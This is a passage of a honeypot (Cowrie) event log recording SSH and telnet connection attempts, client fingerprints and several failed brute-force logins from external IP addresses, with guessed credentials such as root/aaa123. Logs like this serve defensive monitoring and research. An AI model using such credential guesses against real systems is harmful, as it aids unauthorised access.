p384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:19.218970Z","src_ip":"94.159.98.239","session":"b929fb3a9215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39838,"dst_ip":"10.17.0.5","dst_port":23,"session":"941cefc7752b","protocol":"telnet","message":"New connection: 192.119.13.58:39838 (10.17.0.5:23) [session: 941cefc7752b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:19.753378Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa123","message":"login attempt [root/aaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:20.425258Z","src_ip":"94.159.98.239","session":"b929fb3a9215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:21.878635Z","src_ip":"94.159.98.239","session":"b929fb3a9215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.28836417198181,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:32.554967Z","src_ip":"192.119.13.58","session":"d43576e7948d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44232,"dst_ip":"10.17.0.5","dst_port":23,"session":"7003d7c7e844","protocol":"telnet","message":"New connection: 192.119.13.58:44232 (10.17.0.5:23) [session: 7003d7c7e844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:33.427583Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56690,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5854161c7d","protocol":"telnet","message":"New connection: 192.119.13.58:56690 (10.17.0.5:23) [session: 3d5854161c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:35.387843Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60328,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9fcd42ec3af","protocol":"telnet","message":"New connection: 192.119.13.58:60328 (10.17.0.5:23) [session: d9fcd42ec3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:36.207048Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"8636c20e2c51","protocol":"telnet","message":"New connection: 192.119.13.58:46278 (10.17.0.5:23) [session: 8636c20e2c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:39.473311Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53656,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea20f8037778","protocol":"telnet","message":"New connection: 192.119.13.58:53656 (10.17.0.5:23) [session: ea20f8037778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:41.062018Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60830,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3ce918da5fe","protocol":"ssh","message":"New connection: 80.66.85.226:60830 (10.17.0.5:22) [session: b3ce918da5fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:42.708399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:42.714623Z","src_ip":"80.66.85.226","session":"b3ce918da5fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:42.810151Z","src_ip":"80.66.85.226","session":"b3ce918da5fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polinka","message":"login attempt [root/polinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:43.106881Z","src_ip":"80.66.85.226","session":"b3ce918da5fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:44.204571Z","src_ip":"80.66.85.226","session":"b3ce918da5fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.30744743347168,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:45.949535Z","src_ip":"192.119.13.58","session":"2aa54a8ec6b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48480,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc01c35f332","protocol":"telnet","message":"New connection: 192.119.13.58:48480 (10.17.0.5:23) [session: 8bc01c35f332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:46.196106Z"}
{"eventid":"cowrie.session.closed","duration":33.89422392845154,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:46.326324Z","src_ip":"192.119.13.58","session":"24cca15e1024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.9176230430603,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:47.308632Z","src_ip":"192.119.13.58","session":"c95bce0185d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54990,"dst_ip":"10.17.0.5","dst_port":23,"session":"3687f2c813a3","protocol":"telnet","message":"New connection: 192.119.13.58:54990 (10.17.0.5:23) [session: 3687f2c813a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:47.655225Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33470,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf6c5d9c178","protocol":"telnet","message":"New connection: 192.119.13.58:33470 (10.17.0.5:23) [session: fdf6c5d9c178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:49.121789Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36672,"dst_ip":"10.17.0.5","dst_port":23,"session":"90055327354b","protocol":"telnet","message":"New connection: 192.119.13.58:36672 (10.17.0.5:23) [session: 90055327354b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:49.864265Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45418,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d96b05781b6","protocol":"telnet","message":"New connection: 192.119.13.58:45418 (10.17.0.5:23) [session: 0d96b05781b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:51.980063Z"}
{"eventid":"cowrie.session.closed","duration":36.76972198486328,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:55.934947Z","src_ip":"192.119.13.58","session":"3dc113347086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41618,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6e6782fa30","protocol":"telnet","message":"New connection: 192.119.13.58:41618 (10.17.0.5:23) [session: bb6e6782fa30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:57.239708Z"}
{"eventid":"cowrie.session.closed","duration":42.85983109474182,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:59.898655Z","src_ip":"192.119.13.58","session":"6d3ab3297609","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41790,"dst_ip":"10.17.0.5","dst_port":23,"session":"a51ecd0a1923","protocol":"telnet","message":"New connection: 192.119.13.58:41790 (10.17.0.5:23) [session: a51ecd0a1923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:02.877180Z"}
{"eventid":"cowrie.session.closed","duration":45.41851997375488,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:05.171782Z","src_ip":"192.119.13.58","session":"941cefc7752b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55364,"dst_ip":"10.17.0.5","dst_port":23,"session":"affb13866949","protocol":"telnet","message":"New connection: 192.119.13.58:55364 (10.17.0.5:23) [session: affb13866949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:05.752487Z"}
{"eventid":"cowrie.session.closed","duration":31.965604305267334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:08.172528Z","src_ip":"192.119.13.58","session":"d9fcd42ec3af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47314,"dst_ip":"10.17.0.5","dst_port":22,"session":"39a217b0cde4","protocol":"ssh","message":"New connection: 193.32.162.145:47314 (10.17.0.5:22) [session: 39a217b0cde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:10.663335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:10.668403Z","src_ip":"193.32.162.145","session":"39a217b0cde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:10.773962Z","src_ip":"193.32.162.145","session":"39a217b0cde4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brain","password":"brain","message":"login attempt [brain/brain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:11.136550Z","src_ip":"193.32.162.145","session":"39a217b0cde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:12.244009Z","src_ip":"193.32.162.145","session":"39a217b0cde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53206,"dst_ip":"10.17.0.5","dst_port":23,"session":"d64e93ace32e","protocol":"telnet","message":"New connection: 192.119.13.58:53206 (10.17.0.5:23) [session: d64e93ace32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:16.044499Z"}
{"eventid":"cowrie.session.closed","duration":31.034541606903076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:17.230503Z","src_ip":"192.119.13.58","session":"8bc01c35f332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.217068910598755,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:17.278975Z","src_ip":"192.119.13.58","session":"ea20f8037778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59704,"dst_ip":"10.17.0.5","dst_port":23,"session":"e45c376e759a","protocol":"telnet","message":"New connection: 192.119.13.58:59704 (10.17.0.5:23) [session: e45c376e759a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:22.234987Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35168,"dst_ip":"10.17.0.5","dst_port":23,"session":"412e318e6078","protocol":"telnet","message":"New connection: 192.119.13.58:35168 (10.17.0.5:23) [session: 412e318e6078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:22.916408Z"}
{"eventid":"cowrie.session.closed","duration":36.87403154373169,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:24.529108Z","src_ip":"192.119.13.58","session":"3687f2c813a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":52359,"dst_ip":"10.17.0.5","dst_port":22,"session":"59388f2eef4b","protocol":"ssh","message":"New connection: 122.51.73.24:52359 (10.17.0.5:22) [session: 59388f2eef4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:24.902560Z"}
{"eventid":"cowrie.session.closed","duration":49.94264078140259,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:25.330362Z","src_ip":"192.119.13.58","session":"3d5854161c7d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:25.973120Z","src_ip":"122.51.73.24","session":"59388f2eef4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:26.207929Z","src_ip":"122.51.73.24","session":"59388f2eef4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53362,"dst_ip":"10.17.0.5","dst_port":23,"session":"923d93b7fb81","protocol":"telnet","message":"New connection: 192.119.13.58:53362 (10.17.0.5:23) [session: 923d93b7fb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:27.095653Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54338,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c3d34c1516d","protocol":"telnet","message":"New connection: 192.119.13.58:54338 (10.17.0.5:23) [session: 4c3d34c1516d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:27.349102Z"}
{"eventid":"cowrie.session.closed","duration":37.67431926727295,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:27.538460Z","src_ip":"192.119.13.58","session":"90055327354b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.79398465156555,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:27.915653Z","src_ip":"192.119.13.58","session":"fdf6c5d9c178","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"abc","password":"123","message":"login attempt [abc/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:28.174249Z","src_ip":"122.51.73.24","session":"59388f2eef4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.42083239555359,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:28.894045Z","src_ip":"192.119.13.58","session":"8636c20e2c51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:29.423520Z","src_ip":"122.51.73.24","session":"59388f2eef4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.12250471115112,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:30.549957Z","src_ip":"192.119.13.58","session":"7003d7c7e844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40682,"dst_ip":"10.17.0.5","dst_port":23,"session":"3490b233e5b2","protocol":"telnet","message":"New connection: 192.119.13.58:40682 (10.17.0.5:23) [session: 3490b233e5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:31.009044Z"}
{"eventid":"cowrie.session.closed","duration":35.006070613861084,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:32.245629Z","src_ip":"192.119.13.58","session":"bb6e6782fa30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.26236915588379,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:35.242296Z","src_ip":"192.119.13.58","session":"0d96b05781b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74747323989868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:36.499825Z","src_ip":"192.119.13.58","session":"affb13866949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36978,"dst_ip":"10.17.0.5","dst_port":23,"session":"2211d08302ab","protocol":"telnet","message":"New connection: 192.119.13.58:36978 (10.17.0.5:23) [session: 2211d08302ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:36.585540Z"}
{"eventid":"cowrie.session.closed","duration":39.35538172721863,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:42.232361Z","src_ip":"192.119.13.58","session":"a51ecd0a1923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50042,"dst_ip":"10.17.0.5","dst_port":23,"session":"74bc117c193f","protocol":"telnet","message":"New connection: 192.119.13.58:50042 (10.17.0.5:23) [session: 74bc117c193f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:46.789658Z"}
{"eventid":"cowrie.session.closed","duration":0.005589008331298828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:46.795086Z","src_ip":"192.119.13.58","session":"74bc117c193f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32894,"dst_ip":"10.17.0.5","dst_port":23,"session":"3faf6fe702a4","protocol":"telnet","message":"New connection: 192.119.13.58:32894 (10.17.0.5:23) [session: 3faf6fe702a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:49.666502Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34120,"dst_ip":"10.17.0.5","dst_port":23,"session":"21731f077a03","protocol":"telnet","message":"New connection: 192.119.13.58:34120 (10.17.0.5:23) [session: 21731f077a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:49.948881Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35578,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e5e70bde5e","protocol":"ssh","message":"New connection: 103.149.170.125:35578 (159.203.135.109:22) [session: 05e5e70bde5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:50.844445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:50.852552Z","src_ip":"103.149.170.125","session":"05e5e70bde5e","protocol":"ssh"}
